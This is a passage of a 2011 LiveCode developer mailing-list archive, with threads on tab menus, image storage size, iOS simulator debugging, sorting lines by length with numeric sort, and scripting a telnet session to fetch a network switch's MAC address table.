particular tab to true. How do I address that property? > > Thanks, > > Jim Hurley From jhurley0305 at sbcglobal.net Sat Dec 10 20:32:25 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Sat, 10 Dec 2011 17:32:25 -0800 Subject: Highlighting tabs In-Reply-To: References: Message-ID: <42F86C6F-F5D7-4386-955A-57AA9B74954B@sbcglobal.net> Hi Marty, Damn. I tried that before and it didn't work. I just tried it again and it did! Maybe there is more history to menuHistory than I knew. Working now, thanks, Jim > Hi Jim, > Use the menuHistory - set the menuHistory of btn "MyTabButton" to 3 > > Marty K > > > I have a tab menu button. > > > > > > When I open the card I want to set the highlight of a particular tab to true. How do I address that property? > > > > > > Thanks, > > > > > Jim Hurley > >> I have a tab menu button. >> >> When I open the card I want to set the highlight of a particular tab to true. How do I address that property? >> >> Thanks, >> >> Jim Hurley >> >> From dergaruk at gmail.com Sun Dec 11 02:14:53 2011 From: dergaruk at gmail.com (Derek Gardiner) Date: Sun, 11 Dec 2011 07:14:53 +0000 Subject: Newbie help please Message-ID: Has anyone got Altuit Interface Builder to work with Mac OSX Lion and LC5 please? If so how? Derek Gardiner From henshaw at me.com Sun Dec 11 07:44:38 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sun, 11 Dec 2011 12:44:38 +0000 Subject: Possible to list storage size of images stored within a stack? Message-ID: Is it possible to extract a list of how much space images stored in a stack are using? Im looking at some of my application sizes and figure they must be carrying a lot of large images, but forgotten which I optimised and which were just copy and pasted in! There are quite a few images, so I was just wondering if there was a way to find out which images were taking up the most space in the app so I could work on those first. From m.schonewille at economy-x-talk.com Sun Dec 11 07:50:37 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 11 Dec 2011 13:50:37 +0100 Subject: Possible to list storage size of images stored within a stack? In-Reply-To: References: Message-ID: Hi Andrew, put the size of img 1 put the length of img 1 both work. Also keep in mind that the amount of (virtual) memory used by images is a multiple of the stored size. Therefore it might be a bad idea to store many images inside a stack and references image objects might be a better way. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 11 dec 2011, at 13:44, Andrew Henshaw wrote: > Is it possible to extract a list of how much space images stored in a stack are using? > > Im looking at some of my application sizes and figure they must be carrying a lot of large images, but forgotten which I optimised and which were just copy and pasted in! There are quite a few images, so I was just wondering if there was a way to find out which images were taking up the most space in the app so I could work on those first. > From henshaw at me.com Sun Dec 11 09:43:14 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sun, 11 Dec 2011 14:43:14 +0000 Subject: Possible to list storage size of images stored within a stack? In-Reply-To: References: Message-ID: <6238C772-9CF1-41A5-93BA-6EDE03CD5105@me.com> Thanks Mark, I ran into problems with an app submitted to the Apple store which had images in a folder containing references in their name to android as I was planning on porting it over, so ive tended to put the images in the stacks as they are then hidden and never really given the memory issue a thought! It would be nice if livecode could make the included files conditional so I could create a folder for each one and then when selecting the files to include, be able to set the platforms to include that file or folder for when the app is built. That would help on the desktop as well. In the meantime the only way seems to be to remember to remove the other platforms which isnt ideal for my goldfish memory, so putting them in the stack works for me for now :) Ive run the script and there are about 60 images @ over 10k so thats a good start, now I just need to squash them all, is that possible in Livecode as well????? Andy On 11 Dec 2011, at 12:50, Mark Schonewille wrote: > Hi Andrew, > > put the size of img 1 > put the length of img 1 > > both work. Also keep in mind that the amount of (virtual) memory used by images is a multiple of the stored size. Therefore it might be a bad idea to store many images inside a stack and references image objects might be a better way. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! > > On 11 dec 2011, at 13:44, Andrew Henshaw wrote: > >> Is it possible to extract a list of how much space images stored in a stack are using? >> >> Im looking at some of my application sizes and figure they must be carrying a lot of large images, but forgotten which I optimised and which were just copy and pasted in! There are quite a few images, so I was just wondering if there was a way to find out which images were taking up the most space in the app so I could work on those first. >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Sun Dec 11 09:56:53 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 11 Dec 2011 15:56:53 +0100 Subject: Possible to list storage size of images stored within a stack? In-Reply-To: <6238C772-9CF1-41A5-93BA-6EDE03CD5105@me.com> References: <6238C772-9CF1-41A5-93BA-6EDE03CD5105@me.com> Message-ID: Hi Andy, You can set conditional proprties in a savingStandalone handler or the revSaveAsStandalone command, although this would be a little complicated (using the cRevStandaloneSettings property). You can export images to JPEG after setting the paintCompression to JPEG,the JPEGQuality to 50 (anything lower is probably unacceptable) and the resizeQuality to "best". The steps are: set the filename of an image resize the image store the imageData, maskData en alphaData of the image in variables set the filename of the image to empty set the imageData, maskData en alphaData to the variables export the image as JPEG to a file -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 11 dec 2011, at 15:43, Andrew Henshaw wrote: > Thanks Mark, > > I ran into problems with an app submitted to the Apple store which had images in a folder containing references in their name to android as I was planning on porting it over, so ive tended to put the images in the stacks as they are then hidden and never really given the memory issue a thought! > > It would be nice if livecode could make the included files conditional so I could create a folder for each one and then when selecting the files to include, be able to set the platforms to include that file or folder for when the app is built. That would help on the desktop as well. In the meantime the only way seems to be to remember to remove the other platforms which isnt ideal for my goldfish memory, so putting them in the stack works for me for now :) > > Ive run the script and there are about 60 images @ over 10k so thats a good start, now I just need to squash them all, is that possible in Livecode as well????? > > Andy From capellan2000 at gmail.com Sun Dec 11 13:14:55 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 11 Dec 2011 10:14:55 -0800 (PST) Subject: Creating an Undo palette In-Reply-To: References: Message-ID: <1323627295036-4183460.post@n4.nabble.com> Hi All, Just today I found time to read all the messages in this thread. I have concluded that it would be necessary for my project, to keep my own ID list, different than the ID LiveCode assigns to each object. The other task is to catch the mouse messages before each transformation is applied. Many thanks to all of you who replied and keep the interest in this topic. Have a nice weekend! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Creating-an-Undo-palette-tp4170194p4183460.html Sent from the Revolution - User mailing list archive at Nabble.com. From etcawley at fastmail.fm Sun Dec 11 14:55:36 2011 From: etcawley at fastmail.fm (edward cawley) Date: Sun, 11 Dec 2011 13:55:36 -0600 Subject: ios image file names. Message-ID: <08BB7194-B67F-43D1-9F6C-9C98E224A96C@fastmail.fm> Two problems. 1. I've got a problem with image file names. I am developing an app of plant descriptions. It has 42 cards, one for each plant species. Each cd is the same template, the text and images are the only things that change. 40 of the cards work fine but two have a problem with small movies/video clips they don't show but the player is working. The messages are halted for the time the clip should run. I discovered one was stopped because I had a upper case letter in the file name and not in the icontrolset command. Changed the filename( dropped the uppercase letter) and it solved the one problem, but the last cd is still not working. I'm pretty sure it is the same type of problem but how can I see what is happening in the simulator, what is it downloading? I can't check it on the desktop since I get an execution error on the ios control command? 2. Slightly different problem, if I start to test the app on the simulator by clicking on the simulator in the menu bar it begins to startup, the simulator shows up and then I get a dialog stating the the app is taking a long time to start up,at that point the app appears and another dialog appears asking if I wish to continue trying or stop. If I click on stop the simulator closes and if I click on yes the dialog box continues to try to start up, even though the app is up and running. If I start up the simulator first and then click on the menu from the desktop app the app starts on the simulator with no problem. Is this a bug or is it the sequence we are supposed to use? I don't remember seeing it in the documents. From jacque at hyperactivesw.com Sun Dec 11 16:38:00 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 11 Dec 2011 15:38:00 -0600 Subject: ios image file names. In-Reply-To: <08BB7194-B67F-43D1-9F6C-9C98E224A96C@fastmail.fm> References: <08BB7194-B67F-43D1-9F6C-9C98E224A96C@fastmail.fm> Message-ID: <4EE522B8.6060902@hyperactivesw.com> On 12/11/11 1:55 PM, edward cawley wrote: > how can I see what is happening in the > simulator, what is it downloading? I can't check it on the desktop > since I get an execution error on the ios control command? You can log whatever you need in the simulator, and the output will show up in the Console application. Whenever you want to see the result of a command or the value of a variable, use a plain "put": put "http://www.whatever.com" into tURL put tURL -- sends the variable value to Console I often create a handler called "log" so that I don't have to track down and remove all those "puts" later on: on log pData put pData end log Then whenever I need to see output, I just add a "log" command to my handlers: log "Variable value is:" && myVar If you don't want all that output showing up in Console in your final standalone, just comment out the body of the log handler before you build and nothing will happen. (Don't remove the whole handler or you'll get a "handler not found" error.) Keep Console open at the same time as the simulator, with All Messages showing. You'll see the "put" commands go scrolling by. You can filter the output so it's easier to see by filtering for the simulator only, whose name escapes me right now, but you'll see it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From henshaw at me.com Sun Dec 11 16:41:46 2011 From: henshaw at me.com (Andrew Henshaw) Date: Sun, 11 Dec 2011 21:41:46 +0000 Subject: ios image file names. In-Reply-To: <08BB7194-B67F-43D1-9F6C-9C98E224A96C@fastmail.fm> References: <08BB7194-B67F-43D1-9F6C-9C98E224A96C@fastmail.fm> Message-ID: If you run the mac console app this will output simulator errors or 'put' messages in your code, or if its a device you can track the messages in xcode. Paths are pretty specific, I find keeping everything lower case really helps. Some really useful code someone posted a while back is using the errorDialog if you are not using it already as the iOS engine can happily discard errors and plod on, but adding the following lines to the main stack can often find problems really quickly.... on errorDialog pExecutionError, pParseError if item 2 of line 1 of pExecutionError is 0 then answer "An error occurred " & cr & cr & pExecutionError else answer "An error occurred on line: " & item 2 of line 1 of pExecutionError end if end errorDialog I comment them out when its ready for a final release, but during the debug stages they can be life savers! As for (2), ive had the same issue for a while and from memory its not one Runrev managed to replicate. All I do after the first time i use the simulator is as soon as I click test, I then click on the simulator window and it loads quickly without the warning. If its the first time I just click on the simulator and ignore the warning! Andy On 11 Dec 2011, at 19:55, edward cawley wrote: > Two problems. > 1. I've got a problem with image file names. I am developing an app of plant descriptions. It has 42 cards, one for each plant species. Each cd is the same template, the text and images are the only things that change. 40 of the cards work fine but two have a problem with small movies/video clips they don't show but the player is working. The messages are halted for the time the clip should run. I discovered one was stopped because I had a upper case letter in the file name and not in the icontrolset command. Changed the filename( dropped the uppercase letter) and it solved the one problem, but the last cd is still not working. I'm pretty sure it is the same type of problem but how can I see what is happening in the simulator, what is it downloading? I can't check it on the desktop since I get an execution error on the ios control command? > > 2. Slightly different problem, if I start to test the app on the simulator by clicking on the simulator in the menu bar it begins to startup, the simulator shows up and then I get a dialog stating the the app is taking a long time to start up,at that point the app appears and another dialog appears asking if I wish to continue trying or stop. If I click on stop the simulator closes and if I click on yes the dialog box continues to try to start up, even though the app is up and running. If I start up the simulator first and then click on the menu from the desktop app the app starts on the simulator with no problem. Is this a bug or is it the sequence we are supposed to use? I don't remember seeing it in the documents. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Sun Dec 11 23:00:49 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Sun, 11 Dec 2011 23:00:49 -0500 (EST) Subject: Filter In-Reply-To: <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> Message-ID: <8CE8699C4D38717-1124-9C3E2@webmail-m145.sysops.aol.com> I can do this the long way, but is there a clever sortkey that will sort lines by the length of those lines? In other words, if I have a variable myVar with: aaaaaaa xxx bbbb I want to write something like: sort myVar by the length of each to yield: xxx bbbb aaaaaaa Thanks, Craig Newman From dunbarx at aol.com Sun Dec 11 23:04:38 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Sun, 11 Dec 2011 23:04:38 -0500 (EST) Subject: sort by length of line In-Reply-To: <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> Message-ID: <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> Sorry, should have made a new thread. I can do this the long way, but is there a clever sortkey that will sort lines by the length of those lines? In other words, if I have a variable myVar with: aaaaaaa xxx bbbb I want to write something like: sort myVar by the length of each to yield: xxx bbbb aaaaaaa Thanks, Craig Newman From devinasay at gmail.com Sun Dec 11 23:49:32 2011 From: devinasay at gmail.com (Devin Asay) Date: Sun, 11 Dec 2011 21:49:32 -0700 Subject: sort by length of line In-Reply-To: <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> Message-ID: <7D0A68BE-9E8A-4D8B-AA9A-485AA83BDAC1@byu.edu> On Dec 11, 2011, at 9:04 PM, wrote: > > I can do this the long way, but is there a clever sortkey that will sort lines by the length of those lines? > > In other words, if I have a variable myVar with: > > aaaaaaa > xxx > bbbb > > I want to write something like: > > sort myVar by the length of each > > to yield: > > xxx > bbbb > aaaaaaa Actually, Craig, what you wrote works just fine. I tried: sort lines of fld 1 by the length of each Worked a treat. Devin Devin Asay Humanities Technology and Research Support Center Brigham Young University From m.schonewille at economy-x-talk.com Sun Dec 11 23:52:07 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 12 Dec 2011 05:52:07 +0100 Subject: sort by length of line In-Reply-To: <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> Message-ID: Hi Craig, sort lines of myList by length(each) sort lines of myList by the length of each sort lines of myList by number of chars of each "Each" is simply the element that's currently being sorted, as if you put a repeat loop into one line of syntax. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 12 dec 2011, at 05:04, dunbarx at aol.com wrote: > Sorry, should have made a new thread. > > I can do this the long way, but is there a clever sortkey that will sort lines by the length of those lines? > > In other words, if I have a variable myVar with: > > aaaaaaa > xxx > bbbb > > I want to write something like: > > sort myVar by the length of each > > to yield: > > xxx > bbbb > aaaaaaa > > Thanks, > > Craig Newman From rjb at robelko.com Mon Dec 12 09:19:22 2011 From: rjb at robelko.com (Robert Brenstein) Date: Mon, 12 Dec 2011 15:19:22 +0100 Subject: Filter In-Reply-To: <8CE8699C4D38717-1124-9C3E2@webmail-m145.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> <8CE8699C4D38717-1124-9C3E2@webmail-m145.sysops.aol.com> Message-ID: On 11.12.2011 at 23:00 Uhr -0500 dunbarx at aol.com apparently wrote: >I can do this the long way, but is there a clever sortkey that will >sort lines by the length of those lines? > something along this should work: sort lines of myVar numeric by length of each Robert From dunbarx at aol.com Mon Dec 12 11:55:23 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 12 Dec 2011 11:55:23 -0500 (EST) Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> Message-ID: <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> Hmmm. All that is what I tried in the first place, before writing everyone. It turns out that I have a list that does not quite work, and that is what threw me. Can anyone verify that the following lines will not quite sort correctlyt? DEZINCKING RAZORBACKS ZOOPLANKTONIC ZINCKY ZEBECK ZADDICK ZEBECKS ZINCKED ZIPLOCK KAZACHKI KAZACHOK ZINCKING ZWIEBACK DEZINCKED RAZORBACK ZWIEBACKS Put this list into a variable or field, and sort by the length of each. I get the same data back unchanged. Other data does work as advertised. What is so special about it? Thanks, Craig Newman -----Original Message----- From: Mark Schonewille To: How to use LiveCode Sent: Sun, Dec 11, 2011 6:54 pm Subject: Re: sort by length of line Hi Craig, sort lines of myList by length(each) sort lines of myList by the length of each sort lines of myList by number of chars of each "Each" is simply the element that's currently being sorted, as if you put a repeat loop into one line of syntax. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 12 dec 2011, at 05:04, dunbarx at aol.com wrote: > Sorry, should have made a new thread. > > I can do this the long way, but is there a clever sortkey that will sort lines by the length of those lines? > > In other words, if I have a variable myVar with: > > aaaaaaa > xxx > bbbb > > I want to write something like: > > sort myVar by the length of each > > to yield: > > xxx > bbbb > aaaaaaa > > Thanks, > > Craig Newman _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Mon Dec 12 12:09:49 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 12 Dec 2011 18:09:49 +0100 Subject: sort by length of line (Weird) In-Reply-To: <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> Message-ID: <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Try numeric. -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 12 dec. 2011 om 17:55 heeft dunbarx at aol.com het volgende geschreven: > Hmmm. > > > All that is what I tried in the first place, before writing everyone. > > > It turns out that I have a list that does not quite work, and that is what threw me. Can anyone verify that the following lines will not quite sort correctlyt? > > > > DEZINCKING > RAZORBACKS > ZOOPLANKTONIC > ZINCKY > ZEBECK > ZADDICK > ZEBECKS > ZINCKED > ZIPLOCK > KAZACHKI > KAZACHOK > ZINCKING > ZWIEBACK > DEZINCKED > RAZORBACK > ZWIEBACKS > From kray at sonsothunder.com Mon Dec 12 12:18:24 2011 From: kray at sonsothunder.com (Ken Ray) Date: Mon, 12 Dec 2011 11:18:24 -0600 Subject: sort by length of line (Weird) In-Reply-To: <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: On Dec 12, 2011, at 11:09 AM, Mark Schonewille wrote: > Try numeric. Right - Here's an explanation: when you sort by length, what gets sorted is the actual *numbers* themselves, so unless you tell LC to "sort numeric", you'll get things in this order: 1 10 11 2 3 4 (etc.). With your data, it would be: 10 (the length of "DEZINCKING") 11 (the length of "RAZORBACKS") 13 (the length of "ZOOPLANKTONIC") 6 (the length of "ZINCKY") 6 (the length of "ZEBECK") (etc.) So if you do: sort numeric tData by length(each) you'll get what you're looking for? Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From stephenREVOLUTION2 at barncard.com Mon Dec 12 12:20:16 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Mon, 12 Dec 2011 09:20:16 -0800 Subject: sort by length of line (Weird) In-Reply-To: <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: Which is a also a great (and fastest) way to get the max width of text in a column. get fld "B" sort lines of it numeric *descending* by number of characters of each put number of characters in line 1 of it into tWidest_Word_Width don't you just love BINARY?? On 12 December 2011 09:09, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Try numeric. > > -- > Kind regards, > > Mark Schonewille > Economy-x-Talk > Http://economy-x-talk.com > > Share the clipboard of your computer over a local network with Clipboard > Link http://clipboardlink.economy-x-talk.com > > > Op 12 dec. 2011 om 17:55 heeft dunbarx at aol.com het volgende geschreven: > > > Hmmm. > > > > > > All that is what I tried in the first place, before writing everyone. > > > > > > It turns out that I have a list that does not quite work, and that is > what threw me. Can anyone verify that the following lines will not quite > sort correctlyt? > > > > > > > > DEZINCKING > > RAZORBACKS > > ZOOPLANKTONIC > > ZINCKY > > ZEBECK > > ZADDICK > > ZEBECKS > > ZINCKED > > ZIPLOCK > > KAZACHKI > > KAZACHOK > > ZINCKING > > ZWIEBACK > > DEZINCKED > > RAZORBACK > > ZWIEBACKS > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From coiin at verizon.net Mon Dec 12 12:26:56 2011 From: coiin at verizon.net (Colin Holgate) Date: Mon, 12 Dec 2011 12:26:56 -0500 Subject: sort by length of line (Weird) In-Reply-To: <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> Message-ID: I figured it out, and it's a funny little issue! It is doing the sort correctly, but is evaluating the length of the words in an alphabetic way. The 10 letter words are alphabetically shorter than the 9 letter words, because "10" comes before "9". You can solve it like this: sort fld 2 numeric by the number of chars of each From bobs at twft.com Mon Dec 12 13:48:36 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 12 Dec 2011 10:48:36 -0800 Subject: Running a multiline shell command In-Reply-To: <1451098371.20111210102315@ahsoftware.net> References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> <1451098371.20111210102315@ahsoftware.net> Message-ID: <1BDF0F2D-1EF0-49C9-9323-51436847E237@twft.com> I am using Snow Leopard. Yes there is an expect command. I just read the man page for it. WOW! There is a lot there. From what I gather, I can create a file that contains all the responses I will be presented with, and expect will respond to those prompts accordingly. Now I did succeed once in pasting this into the tsch terminal window and I got exactly what I wanted, but subsequent attempts tell me I am using the wrong password. I suspect the wrong line endings at this point. I will look into that. Bob On Dec 10, 2011, at 10:23 AM, Mark Wieder wrote: > Bob- > > Friday, December 9, 2011, 6:50:27 PM, you wrote: > >> The goal is to get the mac address table from a Procurve managed switch. Any ideas? > > What OS? Do you have an "expect" command available? > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Mon Dec 12 14:56:07 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 12 Dec 2011 19:56:07 +0000 (UTC) Subject: sort by length of line (Weird) References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: OK - that's just weird. I see what's going on, but what I'd expect is what (I think) Craig expects - that I'd get a list of the strings sorted by their character lengths. Is there *any* use case in which you'd want strings sorted by the alphabetic representations of their lengths? I can't think of any. To my mind, the "length" modifier should automatically force a numeric sort. From bobs at twft.com Mon Dec 12 14:57:32 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 12 Dec 2011 11:57:32 -0800 Subject: Running a multiline shell command In-Reply-To: References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> Message-ID: <75226E97-D3B0-492B-A132-AE19D2E1B3EF@twft.com> Well I determined that whatever Livecode is using on a Mac is what the shell expects for newline characters. I determined this by manually replacing all newlines in the property inspector (where I keep the shell code) with whatever the return key produces. I then copied the value from the property editor and then pasted it into the terminal window. I got EXACTLY what I expected, that is, the output of the telnet session. HOWEVER... When I try to use the Livecode SHELL() to pass the property that way, the shell command returns: Connection closed by foreign host. The file contains: Trying 172.16.0.121... Connected to 172.16.0.121. Escape character is '^]'. This tells me that for whatever reason, everything that telnet is saying is NOT being sent to the file. The file gets everything before telnet kicks in, and the SHELL() function returns everything AFTER telnet exits, but everything between is hidden from the shell command. Now here is where things get interesting. I opened the applescript dictionary for terminal, and discovered they had a do script command. Hmmm... So I fiddled with the editor until I got an applescript that did essentially the same thing. I ran it, and lo and behold my text file output of my mac addresses appeared, amidst some garbled stuff, but then I can do lineoffsets and clean all that up fine. Next, I copied the successful code into my Livecode property, and instead of using the Livecode SHELL() command, I used do myScript as Applescript. Dammit if it didn't work just fine!! So then, I think this establishes that there is some kind of problem with the way the shell command interacts with the terminal. I would call this a bug, but I don't know enough about what is going on in the background to do so. It may be some kind of internal OS security issue, but then why would Applescript work fine doing essentially the same thing, which is telling the shell process to run a script? Anyway, I have a solution, and others may profit from what I have discovered. Here is the Applescript I produced: copy "telnet 172.16.0.121 >" & quote & "/Users/Shared/scanout.txt" & quote & return to theScript copy theScript & "theUser" & return to theScript copy theScript & "thePassword" & return to theScript copy theScript & "print " & quote & "show mac-address" & quote & return & return to theScript copy theScript & "exit" & return & "exit" & return to theScript copy theScript & "y" & return & "n" & return to theScript tell application "Terminal" do script theScript end tell Before sending this I replace theUser and thePassword with the actual ones of course. Bob On Dec 10, 2011, at 4:53 AM, Bernard Devlin wrote: > Could it be an issue with the "return" character? As you know, they are > different on each platform. You could try variations between ascii 10 and > 13. From dunbarx at aol.com Mon Dec 12 17:19:37 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 12 Dec 2011 17:19:37 -0500 (EST) Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com><8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com><5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: <8CE873344FE2AEA-1124-A9347@webmail-m145.sysops.aol.com> Well, well. I never would have thought it was doing that, though I get it. Thanks all. -----Original Message----- From: Ken Ray To: How to use LiveCode Sent: Mon, Dec 12, 2011 8:08 am Subject: Re: sort by length of line (Weird) On Dec 12, 2011, at 11:09 AM, Mark Schonewille wrote: > Try numeric. Right - Here's an explanation: when you sort by length, what gets sorted is the actual *numbers* themselves, so unless you tell LC to "sort numeric", you'll get things in this order: 1 10 11 2 3 4 (etc.). With your data, it would be: 10 (the length of "DEZINCKING") 11 (the length of "RAZORBACKS") 13 (the length of "ZOOPLANKTONIC") 6 (the length of "ZINCKY") 6 (the length of "ZEBECK") (etc.) So if you do: sort numeric tData by length(each) you'll get what you're looking for? Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Mon Dec 12 17:27:37 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 12 Dec 2011 17:27:37 -0500 (EST) Subject: sort by length of line (Weird) In-Reply-To: References: 